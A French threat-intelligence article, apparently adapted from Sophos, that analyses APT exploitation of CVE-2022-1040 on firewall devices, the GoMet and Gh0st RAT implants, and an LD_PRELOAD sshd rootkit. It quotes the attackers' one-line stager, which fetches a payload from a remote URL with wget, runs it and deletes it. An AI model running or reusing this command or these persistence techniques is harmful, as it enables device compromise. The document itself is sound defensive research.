Sophos a récemment mené une investigation portant sur une activité malveillante et a découvert que certains malwares intéressants avaient été diffusés par deux groupes APT (Advanced Persistent Threat) dans le cadre d’une exploitation active.
Les appareils touchés par cette attaque hautement ciblée ont été infectés par des malwares appartenant à l’une des trois familles de malwares. L’une des charges virales comprenait un build complet de Busybox, ce qui donnait au malware un contrôle total sur l’environnement dans lequel il s’exécutait.
Ce article est le résultat de nombreuses heures de recherche et de rétro-ingénierie passées par les équipes Sophos à comprendre les outils et techniques des attaquants pour ensuite pouvoir les partager avec la vaste communauté dédiée à la sécurité et à la recherche sur les menaces.
Comment les attaques ont commencé ?
Les attaques ont commencé par l’exploitation de CVE-2022-1040. Le bug abuse d’un processus système standard dont l’objectif est de placer un fichier dans un emplacement fixe du système de fichiers sur l’appareil en question.
Les attaquants ont utilisé le bug pour placer des fichiers malveillants sur l’appareil, puis ont lancé des actions supplémentaires qui ont poussé ce dernier à arrêter, puis à redémarrer certains services. Cette étape a amené l’appareil à exécuter les fichiers qui y avaient été placés.
Nous sommes convaincus que les attaques étaient l’œuvre d’un attaquant dédié, utilisant une approche manuelle et tirant parti des importantes connaissances d’un tiers qui avait procédé à la rétro-ingénierie du firmware de l’appareil. De nombreux exécutables ELF que nous avons trouvés servaient de shells de substitution (ou de remplacement) capables d’écrire, de lire ou de manipuler des fichiers ou des paramètres sur les appareils infectés.
Parmi les malwares ELF que nous avons trouvés, dans certains cas, il s’agissait d’outils de type backdoor (porte dérobée). Les attaquants les utilisaient pour exécuter des commandes à distance après avoir piraté l’appareil. Ils ont exfiltré une large gamme de données sensibles présentes sur l’appareil et les ont utilisées pour profiler et documenter d’autres cibles potentielles sur les réseaux hôtes, comme en témoignent des fichiers texte contenant des données laissées sur les appareils.
Les analystes ont découvert qu’un attaquant avait compilé une version near-stock d’un outil d’accès à distance appelé GoMet (que nous avons désigné par le nom Linux/Bdoor-BIN), et avait mis en place une tâche cron pour exécuter le malware selon un calendrier bien précis. Nous avons trouvé au moins deux variantes, l’une nommée javad ou javadsrv, et l’autre nommée javasrvd.
La seule différence significative entre les deux chevaux de Troie (Trojans) GoMet était le timing de la tâche cron utilisé pour les exécuter. L’un était configuré pour exécuter GoMet toutes les dix minutes, et l’autre était configuré pour l’exécuter une fois par heure.
Nous avons également récupéré différents échantillons du malware Gh0st RAT à partir de plusieurs appareils. L’un des échantillons s’appelait également javad, tandis que l’autre se trouvait dans /bin/wrapped. Gh0st RAT (Linux/Agnt-A) est une famille de malwares relativement courante largement utilisée sur les plateformes Windows et Linux.
Étant donné le niveau de sophistication relativement faible de ces échantillons, nous pensons qu’ils étaient le résultat du travail d’au moins un des deux groupes APT (Advanced Persistent Threat) travaillant simultanément. Les deux groupes avaient accès aux connaissances nécessaires pour déployer des malwares en utilisant le même exploit, mais l’autre groupe APT suspecté était beaucoup plus à même de créer des malwares personnalisés, conçus spécifiquement pour s’exécuter dans l’environnement, et même d’imiter les fichiers trouvés sur ces appareils.
Par exemple, nous avons trouvé des fichiers que les attaquants avaient récupérés directement sur un système compromis et modifiés pour ajouter des fonctionnalités supplémentaires. Les attaquants ont écrasé les fichiers originaux avec leurs fichiers modifiés. Les attaquants avaient ajouté des fonctions qu’ils pouvaient exploiter pour déchiffrer et charger dynamiquement d’autres fichiers sur l’appareil sans laisser de traces sur le système de fichiers.
Mais les véritables capacités de ce groupe APT (Advanced Persistent Threat) ont été démontrées grâce à un binaire ELF personnalisé que ce dernier a laissé sur le système. En effet, il n’existe pas de fichier ELF portant ce nom qui fasse partie de l’installation normale, nous avons donc remarqué sa présence : le fichier n’a été trouvé que sur un seul appareil infecté, constituant ainsi une sorte de signal d’alarme.
Une aptitude évidente à la création de malwares
L’une des premières découvertes que nous avons faites à propos du fichier ELF personnalisé (détecté sous le nom Linux/Agnt-AS) était qu’après l’avoir compilé, son créateur l’avait ensuite intégré dans un packer d’exécution (runtime) commercial appelé VMProtect. Des packers d’exécution comme celui-ci sont utilisés dans certains logiciels commerciaux pour empêcher les concurrents de réaliser une ingénierie inverse, et parfois ils sont abusés par les créateurs de malwares pour compliquer le travail des analystes. Alors que nos experts ont beaucoup d’expérience en matière de malwares basés sur Windows préparés à l’aide de ce packer, qui est l’un des plus difficiles à décompresser manuellement, la variante Linux est moins courante et c’est justement celle-ci que les attaquants ont utilisée.
D’une taille d’environ 3 Mo, le fichier est un binaire ELF relativement volumineux mais il possède beaucoup de fonctionnalités. À la base, le binaire est un rootkit, qui est configuré par les attaquants en ajoutant une entrée LD_PRELOAD à la séquence de démarrage sur l’appareil en question.
Lorsqu’il est configuré correctement, il est chargé dans l’espace mémoire du service secure shell daemon (sshd) et associé à la fonction ACCEPT. Ainsi, lorsque le sshd appelle cette fonction, le système d’exploitation transmet la demande directement au fichier ELF malveillant. Cette fonction ACCEPT malveillante effectue efficacement un faux handshake ssh ainsi qu’une configuration ssl erronée (qui inclut un certificat CA racine hardcodé). Le binaire supprime également l’entrée de la variable d’environnement LD_PRELOAD pour masquer le fait que le service sshd a préchargé une bibliothèque, mais la commande procfs l’a exposée, et associée au niveau du mapping mémoire dans sshd.
Le malware peut être déclenché par un paquet ping ICMP contenant des données chiffrées et personnalisées, ce qui ne se produirait normalement pas dans une utilisation classique. Il a répondu à ce ping spécial en ouvrant une session de type ‘back connect’ via une adresse IP et un port trouvés dans les données chiffrées au niveau du champ de données ping, offrant à l’utilisateur du ping une backdoor (porte dérobée) liée à un paquet unique au sein de l’appareil.
Le binaire ELF malveillant est également capable de démonter des partitions du système de fichiers qui sont en lecture seule et de les remonter avec une capacité d’écriture. Il a utilisé cette capacité pour apporter d’autres modifications au système de fichiers qui seraient autrement impossibles à mettre en œuvre. Ensuite le malware a été compilé pour intégrer une version de libpcap, qu’il a utilisée pour sniffer le trafic réseau et écrire des paquets au niveau de la connexion active des attaquants.
Lors de l’analyse des capacités du malware, nous avons déterminé qu’il contenait un certificat racine émanant d’une autorité de certification (CA), hardcodé que le ou les créateurs du binaire ELF malveillant utilisaient pour paramétrer la configuration SSL de la connexion de l’attaquant.
Le certificat extrait de tous les appareils avait le même numéro de série et une période de validité de 10 ans qui débutait le lundi 30 août 2021. Alors que le certificat CA n’était pas valide, de manière inattendue, la valeur “Issuer” du certificat CA indiquait que ce dernier avait été créé spécifiquement pour imiter celui utilisé par un autre fournisseur d’appareils et contenait le nom du fabricant et de son produit.
L’attaquant a démontré qu’il avait appris à manipuler des commandes internes non documentées publiquement pour déplacer et modifier des fichiers, exécuter ou terminer des processus, déplacer des fichiers d’un endroit à un autre et extraire et exfiltrer des données sensibles présentes sur l’appareil.
Anatomie d’une attaque
Les attaquants ont conçu un exploit en deux phases : un contournement d’authentification et une injection de commande. L’effet de ces 2 phases déployées de manière combinée signifiait que ces derniers pouvaient exécuter n’importe quelle commande en tant que root sur l’appareil. Les attaquants ont également découvert qu’ils pouvaient transmettre une commande aux appareils pour permettre à l’appareil en question de récupérer un fichier à partir d’un serveur distant.
La commande qui récupère le fichier le dépose également dans un répertoire sur l’appareil où le pare-feu stocke normalement, temporairement, ses fichiers de mise à jour du firmware. Les attaquants ont utilisé cette connaissance du comportement interne de l’appareil pour ensuite exécuter une deuxième commande, lui permettant ensuite de vérifier si une mise à jour du firmware était disponible. Le processus de mise à jour du firmware a trouvé, puis exécuté, le contenu du fichier que les attaquants avaient auparavant déposé dans l’emplacement temporaire.
L’utilisation de ces techniques par les attaquants révèle des efforts considérables consacrés à l’étude des fonctions de base de l’appareil et à la découverte d’API internes pour déployer une variété de tâches qui ne sont pas effectuées de manière routinière sur un appareil pare-feu.
Le fichier contenait un script shell qui pouvait être téléchargé à partir d’un serveur contrôlé par les attaquants. L’URL utilisée et la charge virale du script diffusée ont été légèrement modifiées d’une cible à l’autre. Les charges virales du script ont lancé la phase suivante de l’attaque en propageant des exécutables malveillants sur chaque appareil infecté.
Le modèle pour chacune de ces charges virales de script était similaire, bien que les URL où elles étaient hébergées et les noms de fichier des charges virales variaient. Le script a d’abord essayé de supprimer tout fichier existant nommé .a dans le répertoire /tmp/, puis a utilisé wget pour récupérer une charge virale à partir d’une faible quantité d’URL et l’a inscrite sous la forme /tmp/.a. Il a ensuite utilisé chmod pour rendre la charge virale exécutable, l’a exécutée, puis a lancé la même commande de suppression pour éliminer le fichier .a de /tmp/. La commande ressemblait à :
rm -rf /tmp/.a;wget [URL] -O /tmp/.a;chmod +x /tmp/.a;sh /tmp/.a;rm -rf /tmp/.a
Les attaquants, dans certains cas, ont enregistré des noms de domaine personnalisés qui étaient thématiquement liés à certaines des entreprises ciblées.
Dans certains cas, l’URL pointait vers l’adresse IP d’un autre appareil compromis, que les attaquants utilisaient pour héberger des charges virales malveillantes.
Les attaquants ont également utilisé plusieurs adresses IP appartenant au site Web d’un département de recherche médicale universitaire impliqué au niveau des efforts de réponse au COVID dans la région.
IoC et autres signaux d’alarme
Nous possédons, à présent, ce que nous pensons être une liste complète des domaines et des adresses IP utilisés pour héberger les charges virales des malwares, mais aucun des sites n’a été actif depuis le début de l’investigation le 21 mars 2022.
La vulnérabilité exploitée dans ces attaques a été rapidement traitée, comme indiqué dans notre avis concernant CVE-2022-1040. Lors de notre processus de réponse, nous avons donné la priorité à la sensibilisation des quelques entreprises ayant des appareils affectés.
Remerciements
Les SophosLabs souhaitent remercier la contribution des personnes suivantes qui ont investigué ces attaques et étudié le malware en question : Timothy Easton, Sabrina Karim, Elison Niven, Brijesh Rajput, Tom Sage et l’équipe en charge du Sophos Global Security Operations Center. Des informations supplémentaires et des IOC ont été fournis par des chercheurs de Recorded Future. Merci également à Volexity.
Billet inspiré de Sophos uncovers how APT groups carried out highly targeted attack, sur le Blog Sophos.
